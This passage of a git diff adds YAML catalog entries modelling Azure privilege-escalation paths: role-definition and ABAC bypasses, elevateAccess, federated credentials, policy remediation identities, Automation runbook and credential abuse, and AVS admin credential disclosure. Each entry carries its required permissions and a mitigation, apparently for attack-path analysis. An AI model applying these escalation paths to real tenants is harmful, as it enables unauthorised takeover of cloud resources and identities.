the edge holds only if the source's grant covers all of them. + blockers: + - azure_deny_assignment + confidence: derived + severity: critical + mitigation: Do not grant roleDefinitions/write to principals that hold custom roles; keep custom role authoring with a separate admin principal and alert on role definition changes. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles + notes: Target set is limited to the scopes where custom roles assigned to the source (directly or via group) apply. Creating a NEW custom role without roleAssignments/write gives nothing on its own. + +- id: azure-authorization-abac-denylist-bypass-custom-role + provider: azure + service: authorization + title: Escape a denylist-constrained role-assignment delegation via a new custom role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#abac-constrained-delegation-bypass-via-custom-role-indirection + source_revision: 171e422 + summary: A delegate whose roleAssignments/write is limited by a denylist condition can create a new custom role (not on the denylist) that itself grants unconditioned roleAssignments/write, assign it, and then assign Owner. + requires: + all_of: + - action: Microsoft.Authorization/roleAssignments/write + scope: "{target.scope}" + - action: Microsoft.Authorization/roleDefinitions/write + scope: "{target.scope}" + target: + kind: azure_scope_owner + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "RBAC control of {scope}" + conditions: + - id: role_assignment_condition_is_denylist + description: Only relevant when the source's roleAssignments/write assignment carries a denylist ABAC condition (GuidNotEquals); with no condition the plain roleAssignments/write entry already applies. + - id: assignable_scopes_cover_target + description: The new custom role's AssignableScopes and the source's own assignment scope must both cover the target scope. + blockers: + - role_assignment_condition_is_allowlist + - azure_deny_assignment + confidence: derived + severity: critical + mitigation: Use allowlist (ForAnyOfAnyValues:GuidEquals) conditions for delegated role assignment and never combine delegated roleAssignments/write with roleDefinitions/write. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/delegate-role-assignments-examples + notes: Conditions on different assignments are evaluated independently and unioned, so a condition on one assignment never limits permissions granted by another. + +- id: azure-authorization-elevateaccess-global-admin + provider: azure + service: authorization + title: Global Administrator elevates to User Access Administrator at root scope + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationelevateaccessaction + source_revision: 171e422 + summary: A Global Administrator can grant itself User Access Administrator at root scope "/", gaining RBAC control over every management group and subscription in the tenant. + source_kind: azure_user + requires: + all_of: + - entra_role: Global Administrator + target: + kind: azure_scope_owner + selector: + any_principal_in_scope: true + scope: tenant + aggregate_as: "Azure root scope (/) of the tenant" + conditions: + - id: pim_eligible_only + description: If Global Administrator is only PIM-eligible, it must be activated first (activation requirements such as MFA/approval apply). + blockers: [] + confidence: derived + severity: critical + mitigation: Minimise Global Administrators, require PIM with approval, and alert on elevateAccess events and root-scope role assignments. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin + notes: Only users (not service principals) holding Global Administrator can call elevateAccess. + +- id: azure-managedidentity-federated-credential-write + provider: azure + service: authorization + title: Add a federated identity credential to a user-assigned managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagedidentityuserassignedidentitiesfederatedidentitycredentialswrite + source_revision: 171e422 + summary: The source can add a trust to an external IdP it controls and obtain tokens as the user-assigned managed identity. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write + scope: "{target.id}" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + resource_permission_covers_target: Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write + scope: inherited_scope + aggregate_as: "User-assigned managed identities in {scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict federatedIdentityCredentials/write (included in Managed Identity Contributor/Contributor/Owner) and alert on new FICs; consider an Azure Policy restricting allowed FIC issuers. + references: + - https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity + notes: Only user-assigned identities support FICs; system-assigned identities are not reachable this way. + +- id: azure-policy-definition-write-remediation-identity + provider: azure + service: authorization + title: Rewrite an assigned deployIfNotExists/modify policy so its remediation runs attacker-chosen deployments + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationpolicydefinitionswrite + source_revision: 171e422 + summary: The source can obtain the Azure RBAC control-plane privileges of the managed identity of every policy assignment that uses a custom policy definition or initiative the source can rewrite. + requires: + all_of: [] + any_of: + - - action: Microsoft.Authorization/policyDefinitions/write + scope: '{pivot}' + - - action: Microsoft.Authorization/policySetDefinitions/write + scope: '{pivot}' + - action: Microsoft.Authorization/policyDefinitions/write + scope: '*' + pivot_resource_type: Microsoft.Authorization/policyDefinitions|Microsoft.Authorization/policySetDefinitions + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Authorization/policyAssignments + scope: inherited_scope + aggregate_as: Managed identities of policy assignments using {pivot} + conditions: + - id: pivot_referenced_by_target_assignment + description: '{target.host_resource} must be a policy assignment with a managed identity whose policyDefinitionId is {pivot}, or an initiative that contains {pivot}. Built-in definitions and initiatives are read-only, so {pivot} must be custom.' + - id: new_definition_location + description: In the initiative group, the new custom definition must be saved at the initiative's location (management group or subscription) or an ancestor of it, so that the initiative can reference it. + - id: remediation_trigger + description: 'The rewritten template runs only when the policy service remediates: a remediation task (Microsoft.PolicyInsights/remediations/write on the assignment scope), or a create or update by anyone of an in-scope resource that matches the rule. Existing non-compliant resources are not remediated automatically.' + - id: arm_control_plane_only + description: The gain is what an ARM template deployment can do with the identity's role assignments (Actions, including listKeys-style actions). DataActions are not exercised directly. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Treat policyDefinitions/write and policySetDefinitions/write (Resource Policy Contributor, Contributor, Owner) on definitions assigned with a managed identity as equivalent to that identity's roles. Keep DINE/modify identities least-privileged, store their definitions at a scope only policy admins can write, and alert on definition changes. + references: + - https://learn.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources + - https://learn.microsoft.com/en-us/azure/governance/policy/concepts/effect-deploy-if-not-exists + notes: Microsoft documents that deployIfNotExists and modify remediation runs with the managed identity associated with the policy assignment. It also says that changing a policy definition does not update the assignment or its identity, so the identity keeps its role assignments while the definition's template or effect changes. A modify definition can be rewritten to deployIfNotExists because the effect lives in the definition. HackTricks describes this permission only as weakening policy rules; the identity path comes from the Microsoft documentation. + +- id: azure-policy-assignment-write-user-assigned-identity + provider: azure + service: authorization + title: Create or update a deployIfNotExists/modify policy assignment running as an existing user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationpolicyassignmentswrite--microsoftauthorizationpolicyassignmentsdelete + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: The source can obtain the Azure RBAC control-plane privileges of user-assigned managed identities on which it holds assign/action, by making them the remediation identity of a policy assignment whose custom definition it controls. + requires: + all_of: + - action: Microsoft.Authorization/policyAssignments/write + scope: '{pivot}' + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.Authorization/policyDefinitions/write + scope: '*' + pivot_resource_type: Microsoft.Management/managementGroups|Microsoft.Resources/subscriptions|Microsoft.Resources/resourceGroups + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable to policy assignments in {scope} + conditions: + - id: definition_visible_at_pivot + description: The custom deployIfNotExists definition must be stored at the assignment scope {pivot} or an ancestor management group or subscription. + - id: remediation_trigger + description: 'The deployment runs only on remediation: a remediation task (Microsoft.PolicyInsights/remediations/write) or a create or update of a matching resource in {pivot}.' + - id: arm_control_plane_only + description: The gain is what an ARM template deployment can do with the identity's existing role assignments (Actions). DataActions are not exercised directly. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Grant userAssignedIdentities/assign/action (Managed Identity Operator) on privileged user-assigned identities only to their owners, and restrict policyAssignments/write plus policyDefinitions/write to policy administrators. + references: + - https://learn.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources#configure-the-managed-identity + - https://azure.github.io/enterprise-azure-policy-as-code/policy-assignments/ + notes: No roleAssignments/write is needed. The user-assigned identity keeps its existing role assignments; only the portal auto-grants roleDefinitionIds, and SDK or REST assignments do not. Using a user-assigned identity on a policy assignment needs Managed Identity Operator, which is userAssignedIdentities/assign/action on the identity (EPAC documentation and the ARM linked-access check). A new system-assigned identity has no roles unless the source can also create role assignments, which azure-authorization-roleassignments-write already covers. Repointing an existing assignment that has a system-assigned identity is not modelled, because it is not verified whether policyDefinitionId can change on update. diff --git a/src/privilege-escalation-paths-research/azure/automation.yaml b/src/privilege-escalation-paths-research/azure/automation.yaml new file mode 100644 index 0000000000..22e2c7e7ef --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/automation.yaml @@ -0,0 +1,448 @@ +# Azure Automation account privilege escalation techniques. +# Source: hacktricks-cloud az-automation-accounts-privesc.md (rev 171e422). +# Placeholder conventions: see catalog/azure/authorization.yaml header. + +- id: azure-automation-runbook-author-and-run + provider: azure + service: automation + title: Create or modify a runbook and run it as the Automation account identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + source_revision: 171e422 + summary: The source runs arbitrary runbook code inside the Automation account sandbox and obtains tokens for the account's system- and user-assigned managed identities. + requires: + all_of: [] + any_of: + - # edit an existing runbook draft, publish and start it + - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/runbooks/publish/action + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{target.host_resource}" + - # create a new runbook, upload content, publish and start it + - action: Microsoft.Automation/automationAccounts/runbooks/write + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/runbooks/publish/action + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{target.host_resource}" + - # edit the draft and run it as a test job without publishing + - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/testJob/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Automation/automationAccounts + scope: inherited_scope + aggregate_as: "Managed identities of Automation account {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Limit runbook authoring/publish/job permissions (Automation Contributor, Automation Operator + Runbook Operator, Contributor) and give the Automation account identity only the roles its runbooks need. + references: + - https://learn.microsoft.com/en-us/azure/automation/automation-role-based-access-control + - https://learn.microsoft.com/en-us/azure/automation/enable-managed-identity-for-automation + notes: Reaches only identities attached to the Automation account whose runbook/job permissions the source holds. Output-read permissions are only needed to read results and are not required for the gain. Credential and encrypted-variable assets are modelled separately (azure-automation-runbook-credential-assets); Hybrid Worker VM identities separately (azure-automation-runbook-hybrid-worker). + +- id: azure-automation-runbook-credential-assets + provider: azure + service: automation + title: Decrypt Automation credential/variable assets from runbook code + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + source_revision: a66f094ede + summary: Runbook code the source controls can read credential assets and encrypted variables, which may hold passwords or client secrets of users or service principals. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/publish/action + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/output/read + scope: "{pivot}" + - - action: Microsoft.Automation/automationAccounts/runbooks/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/publish/action + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/output/read + scope: "{pivot}" + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/testJob/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: "{pivot}" + scope: any + aggregate_as: "Principals whose credentials are stored as assets in Automation account {pivot}" + conditions: + - id: credential_content_unknown + description: Which principals' credentials (if any) are stored in credential assets/encrypted variables is not visible from RBAC metadata; the edge is conditional on asset contents. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not store user or service principal secrets as Automation credentials/variables; use the account managed identity instead. + references: + - https://learn.microsoft.com/en-us/azure/automation/shared-resources/credentials + notes: Entra users stored in credential assets are modelled by azure-automation-runbook-credential-assets-user; evaluator should render a single conditional aggregate node per account and kind. + +- id: azure-automation-runbook-credential-assets-user + provider: azure + service: automation + title: Decrypt Automation credential assets holding user passwords from runbook code + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + source_revision: a66f094ede + summary: Runbook code the source controls can read credential assets and encrypted variables, which may hold passwords or client secrets of users or service principals. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/publish/action + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/output/read + scope: "{pivot}" + - - action: Microsoft.Automation/automationAccounts/runbooks/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/publish/action + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/output/read + scope: "{pivot}" + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/testJob/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_user + selector: + credential_stored_in_scope: "{pivot}" + scope: any + aggregate_as: "Users whose passwords are stored as credential assets in Automation account {pivot}" + conditions: + - id: credential_content_unknown + description: Which principals' credentials (if any) are stored in credential assets/encrypted variables is not visible from RBAC metadata; the edge is conditional on asset contents. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not store user or service principal secrets as Automation credentials/variables; use the account managed identity instead. + references: + - https://learn.microsoft.com/en-us/azure/automation/shared-resources/credentials + notes: User sibling of azure-automation-runbook-credential-assets (PSCredential assets usually hold user name/password pairs); MFA or Conditional Access on the user may block interactive reuse. + +- id: azure-automation-assign-user-assigned-identity + provider: azure + service: automation + title: Attach a user-assigned managed identity to an Automation account and run code as it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source attaches any user-assigned identity it can assign to an Automation account it controls and then uses runbook code to obtain that identity's tokens. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Automation/automationAccounts/write + scope: "{pivot}" + any_of: + - - action: Microsoft.Automation/automationAccounts/runbooks/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/publish/action + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{pivot}" + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/publish/action + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{pivot}" + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/content/write + scope: "{pivot}" + - action: Microsoft.Automation/automationAccounts/runbooks/draft/testJob/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Microsoft.ManagedIdentity/userAssignedIdentities/assign/action (Managed Identity Operator, Contributor, Owner) to deployment principals and scope it to individual identities. + references: + - https://learn.microsoft.com/en-us/azure/automation/add-user-assigned-identity + notes: Microsoft.Automation/automationAccounts/write over a resource group also allows creating a new account there (pivot may be newly created). + +- id: azure-automation-trigger-existing-runbook + provider: azure + service: automation + title: Trigger an existing published runbook with attacker-chosen parameters + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#abuse-jobscheduleswrite-to-run-an-existing-privileged-runbook + source_revision: 171e422 + summary: Starting, scheduling or webhook-binding an existing runbook makes it act with the Automation account identity on attacker-supplied parameters. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/jobs/write + scope: "{target.host_resource}" + - - action: Microsoft.Automation/automationAccounts/jobSchedules/write + scope: "{target.host_resource}" + - - action: Microsoft.Automation/automationAccounts/webhooks/write + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/webhooks/action + scope: "{target.host_resource}" + - action: Microsoft.Automation/automationAccounts/runbooks/read + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Automation/automationAccounts + scope: inherited_scope + aggregate_as: "Managed identities of Automation account {target.host_resource} (via existing runbooks)" + conditions: + - id: runbook_behaviour_abusable + description: Impact depends on what existing published runbooks do with their parameters; no arbitrary code execution is obtained. + - id: enabled_schedule_exists + description: The jobSchedules/write path needs an existing enabled schedule (or schedules/write to create one). + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict jobs/jobSchedules/webhooks write (Automation Operator, Automation Job Operator) and validate runbook parameters; avoid runbooks that act on caller-supplied targets with privileged identities. + references: + - https://learn.microsoft.com/en-us/azure/automation/automation-webhooks + notes: The webhook URI generation checks the hidden operation webhooks/action, which can only be granted via the webhooks/* (or broader) wildcard; evaluator wildcard matching covers it. + +- id: azure-automation-source-control-import + provider: azure + service: automation + title: Configure source control to import attacker runbooks and run them + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountssourcecontrolswrite-microsoftautomationautomationaccountssourcecontrolsread + source_revision: a66f094ede + summary: A source-control link to an attacker repository imports and publishes runbooks, which then run with the Automation account identities. + requires: + all_of: + - action: Microsoft.Automation/automationAccounts/sourceControls/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Automation/automationAccounts + scope: inherited_scope + aggregate_as: "Managed identities of Automation account {target.host_resource}" + conditions: + - id: source_control_identity_contributor + description: Source-control sync only works if the account's managed identity has Contributor on the account (user-assigned needs AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID). + - id: runbook_trigger + description: The source must have jobs/write or jobSchedules/write to trigger the imported runbook, or overwrite a runbook already scheduled or bound to a webhook and wait for that trigger to fire. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict sourceControls/write and review source-control links on Automation accounts with privileged identities. + references: + - https://learn.microsoft.com/en-us/azure/automation/source-control-integration + notes: "" + +- id: azure-automation-poison-module-or-package + provider: azure + service: automation + title: Replace a runbook module or package imported by existing runbooks + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#poison-a-classic-powershell-dependency-with-moduleswrite + source_revision: 171e422 + summary: A poisoned module/package executes in the runbook sandbox whenever an existing runbook imports it, exposing the Automation account (or Hybrid Worker) identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/modules/write + scope: "{target.host_resource}" + - - action: Microsoft.Automation/automationAccounts/python3Packages/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Automation/automationAccounts + scope: inherited_scope + aggregate_as: "Managed identities of Automation account {target.host_resource} (via imported modules)" + conditions: + - id: runbook_imports_module + description: Requires an existing runbook that later runs and imports the replaced module/package name with compatible exports. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict modules/python3Packages write, pin module sources, and monitor module imports on Automation accounts. + references: + - https://learn.microsoft.com/en-us/azure/automation/shared-resources/modules + - https://learn.microsoft.com/en-us/azure/automation/python-3-packages + notes: The variant that also creates/publishes/runs a new runbook is already covered by azure-automation-runbook-author-and-run. The runtimeEnvironments packages route is not modelled (HackTricks reports the action is not grantable in custom roles). + +- id: azure-automation-listkeys-rogue-hybrid-worker + provider: azure + service: automation + title: Register a rogue Hybrid Runbook Worker with the Automation account agent keys + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountslistkeysaction + source_revision: 171e422 + summary: The agent registration keys let the source enrol a machine it controls as a Hybrid Runbook Worker, so runbook jobs dispatched to it run on attacker hardware where the job's Automation identity context can be captured. + requires: + all_of: + - action: Microsoft.Automation/automationAccounts/listKeys/action + scope: "{target.host_resource}" + any_of: [] + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Automation/automationAccounts + scope: inherited_scope + aggregate_as: "Managed identities of Automation account {target.host_resource} (via a rogue Hybrid Worker)" + conditions: + - id: agent_registration_accepted + description: The account must still accept agent-key based worker registration (the legacy agent-based Hybrid Worker model). + - id: job_dispatched_to_rogue_worker + description: A runbook job must be dispatched to the worker group the rogue machine joins; the source does not choose the runbook code. + - id: identity_exposed_to_job + description: The Automation identity endpoint (or credential assets) must be available to the job on the worker for the token to be captured. + blockers: [] + confidence: conditional + severity: high + mitigation: Treat listKeys/action as a credential read, keep it out of custom roles, rotate the agent keys, and alert on unexpected Hybrid Worker registrations. + references: + - https://learn.microsoft.com/en-us/azure/automation/automation-role-based-access-control + - https://learn.microsoft.com/en-us/azure/automation/automation-hybrid-runbook-worker + notes: The keys are also used for State Configuration node registration. Code execution on legitimate Hybrid Worker VMs is modelled by azure-automation-runbook-hybrid-worker. + +- id: azure-automation-variable-poisoning + provider: azure + service: automation + title: Poison Automation variables consumed by existing runbooks + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsvariableswrite + source_revision: 171e422 + summary: Rewriting a variable that a privileged runbook uses as a target, URL, script path or command fragment makes the runbook's next run act on attacker input with the Automation account identity. + requires: + all_of: + - action: Microsoft.Automation/automationAccounts/variables/write + scope: "{target.host_resource}" + any_of: [] + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Automation/automationAccounts + scope: inherited_scope + aggregate_as: "Managed identities of Automation account {target.host_resource} (via poisoned variables)" + conditions: + - id: runbook_consumes_variable + description: Impact depends on an existing runbook that later runs and uses the variable in a way that changes what it executes or targets. + blockers: [] + confidence: conditional + severity: medium + mitigation: Restrict variables/write (Automation Contributor, Contributor), validate variable values inside runbooks, and alert on variable changes on accounts with privileged identities. + references: + - https://learn.microsoft.com/en-us/azure/automation/shared-resources/variables + notes: Same consumer-dependent class as azure-automation-trigger-existing-runbook; overwriting an encrypted variable with a known value is a side effect, not an identity gain. +- id: azure-automation-job-output-credential + provider: azure + service: automation + title: Read tokens and credentials from prior Automation job output + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#harvest-secrets-from-prior-job-output-and-streams + source_revision: 0b36331 + summary: Read a verified usable credential from historical Automation job output and gain its Entra service principal + permissions. + requires: + all_of: + - action: Microsoft.Automation/automationAccounts/jobs/read + scope: '{pivot}' + any_of: + - - action: Microsoft.Automation/automationAccounts/jobs/output/read + scope: '{pivot}' + - - action: Microsoft.Automation/automationAccounts/jobs/streams/read + scope: '{pivot}' + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates + this edge; uncollected, partial, or unverified content is UNKNOWN. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/automation/manage-runbooks + notes: Draft requires azure.automation.job_output_credential_holders; the evaluator must join only verified holders, + and return UNKNOWN if that fact is missing or incomplete. +- id: azure-automation-runbook-source-credential + provider: azure + service: automation + title: Read hardcoded credentials from runbook source + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-automation-accounts-post-exploitation.md#read-runbook-source-for-hardcoded-secrets + source_revision: 0b36331 + summary: Read a verified usable credential from published Automation runbook source and gain its Entra service + principal permissions. + requires: + all_of: + - action: Microsoft.Automation/automationAccounts/runbooks/content/read + scope: '{pivot}' + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates + this edge; uncollected, partial, or unverified content is UNKNOWN. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/automation/manage-runbooks + notes: Draft requires azure.automation.runbook_content_credential_holders; the evaluator must join only verified + holders, and return UNKNOWN if that fact is missing or incomplete. diff --git a/src/privilege-escalation-paths-research/azure/avs.yaml b/src/privilege-escalation-paths-research/azure/avs.yaml new file mode 100644 index 0000000000..9f256603cd --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/avs.yaml @@ -0,0 +1,102 @@ +# Azure VMware Solution (AVS) privilege escalation techniques (declarative only). +# Source: hacktricks-cloud az-vmware-solution-avs-privesc.md (rev 171e422). +# Targets are modelled as data-plane administrators of the private cloud (vCenter CloudAdmin / +# NSX-T admin), not as Azure/Entra principals. + +- id: azure-avs-list-admin-credentials + provider: azure + service: avs + title: Read the AVS private cloud CloudAdmin and NSX-T admin credentials + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#cloudadmin--nsx-t-credential-disclosure-listadmincredentials + source_revision: 171e422 + summary: listAdminCredentials returns the vCenter CloudAdmin and NSX-T admin passwords, giving administrative control of the SDDC and its workload VMs. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/listAdminCredentials/action + scope: "{target.scope}" + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: "AVS vCenter CloudAdmin / NSX-T admins of {target.scope}" + conditions: + - id: management_network_reachable + description: Using the credentials needs network access to the private cloud's vCenter and NSX-T endpoints (ExpressRoute, VPN or a peered network). + - id: workload_identities_not_modelled + description: Control of guest VMs only reaches Azure or Entra identities if those workloads hold credentials (for example Arc-enabled guests or stored service principal secrets); that is not derived. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict listAdminCredentials/action (Contributor and Owner on the private cloud), rotate the CloudAdmin and NSX-T credentials after any exposure, and use an external identity source with named accounts. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/concepts-identity + - https://learn.microsoft.com/en-us/azure/azure-vmware/rotate-cloudadmin-credentials + notes: Uses the existing azure_dataplane_admin kind, so no schema extension is needed. + +- id: azure-avs-run-command-script-execution + provider: azure + service: avs + title: Run privileged AVS Run Command cmdlets against vCenter and NSX-T + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite + source_revision: 171e422 + summary: Submitting AVS Run Command executions with vendor cmdlet packages performs privileged changes in the SDDC management plane, such as adding identity sources or CloudAdmins, without reading the admin password. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/scriptExecutions/write + scope: "{target.scope}" + - action: Microsoft.AVS/privateClouds/scriptPackages/read + scope: "{target.scope}" + - action: Microsoft.AVS/privateClouds/scriptPackages/scriptCmdlets/read + scope: 